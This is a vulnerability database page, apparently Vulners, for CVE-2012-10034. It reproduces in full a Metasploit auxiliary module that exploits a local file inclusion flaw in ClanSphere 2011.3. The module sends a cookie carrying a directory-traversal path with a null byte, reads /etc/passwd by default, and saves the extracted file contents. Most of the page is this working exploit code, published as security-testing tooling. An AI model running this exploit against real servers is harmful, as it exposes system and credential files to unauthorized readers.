Lucene search
+L

ClanSphere 2011.3 Local File Inclusion Vulnerability

🗓️ 23 Oct 2012 00:00:00Reported by blkhtc0rp, sinn3r <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 18 Views

ClanSphere 2011.3 Local File Inclusion Vulnerability. Exploits directory traversal flaw, allowing reading files outside virtual directory

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2012-10034
29 May 201815:50
circl
cnnvd
CNNVD
ClanSphere 安全漏洞
5 Aug 202500:00
cnnvd
cve
CVE
CVE-2012-10034
5 Aug 202520:00
cve
cvelist
Cvelist
CVE-2012-10034 ClanSphere 2011.3 Local File Inclusion via cs_lang Cookie
5 Aug 202520:00
cvelist
euvd
EUVD
EUVD-2012-6579
7 Oct 202500:30
euvd
nvd
NVD
CVE-2012-10034
5 Aug 202520:15
nvd
ptsecurity
Positive Technologies
PT-2025-31986 · Unknown · Clansphere
5 Aug 202500:00
ptsecurity
redhatcve
RedhatCVE
CVE-2012-10034
7 Aug 202520:31
redhatcve
vulnrichment
Vulnrichment
CVE-2012-10034 ClanSphere 2011.3 Local File Inclusion via cs_lang Cookie
5 Aug 202520:00
vulnrichment
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'ClanSphere 2011.3 Local File Inclusion Vulnerability',
        'Description' => %q{
          This module exploits a directory traversal flaw found in Clansphere 2011.3.
          The application fails to handle the cs_lang parameter properly, which can be
          used to read any file outside the virtual directory.
        },
        'References' => [
          ['CVE', '2012-10034'],
          ['OSVDB', '86720'],
          ['EDB', '22181']
        ],
        'Author' => [
          'blkhtc0rp', # Original
          'sinn3r'
        ],
        'License' => MSF_LICENSE,
        'DisclosureDate' => '2012-10-23',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The URI path to the web application', '/clansphere_2011.3/']),
        OptString.new('FILE', [true, 'The file to obtain', '/etc/passwd']),
        OptInt.new('DEPTH', [true, 'The max traversal depth to root directory', 10])
      ]
    )
  end

  def run_host(ip)
    base = normalize_uri(target_uri.path)

    peer = "#{ip}:#{rport}"

    print_status("Reading '#{datastore['FILE']}'")

    traverse = "../" * datastore['DEPTH']
    f = datastore['FILE']
    f = f[1, f.length] if f =~ /^\//

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(base, "index.php"),
      'cookie' => "blah=blah; cs_lang=#{traverse}#{f}%00.png"
    })

    if res and res.body =~ /^Fatal error\:/
      print_error("Unable to read '#{datastore['FILE']}', possibly because:")
      print_error("\t1. File does not exist.")
      print_error("\t2. No permission.")
      print_error("\t3. #{ip} isn't vulnerable to null byte poisoning.")

    elsif res and res.code == 200
      pattern_end = "     UTC +1 - Load:"
      data = res.body.scan(/\<div id\=\"bottom\"\>\n(.+)\n\x20{5}UTC/).flatten[0].lstrip
      fname = datastore['FILE']
      p = store_loot(
        'clansphere.cms',
        'application/octet-stream',
        ip,
        data,
        fname
      )

      vprint_line(data)
      print_good("#{fname} stored as '#{p}'")

    else
      print_error("Fail to obtain file for some unknown reason")
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Oct 2012 00:00Current
5.3Medium risk
Vulners AI Score5.3
CVSS 3.17.5
CVSS 48.7
EPSS0.01331
SSVC
18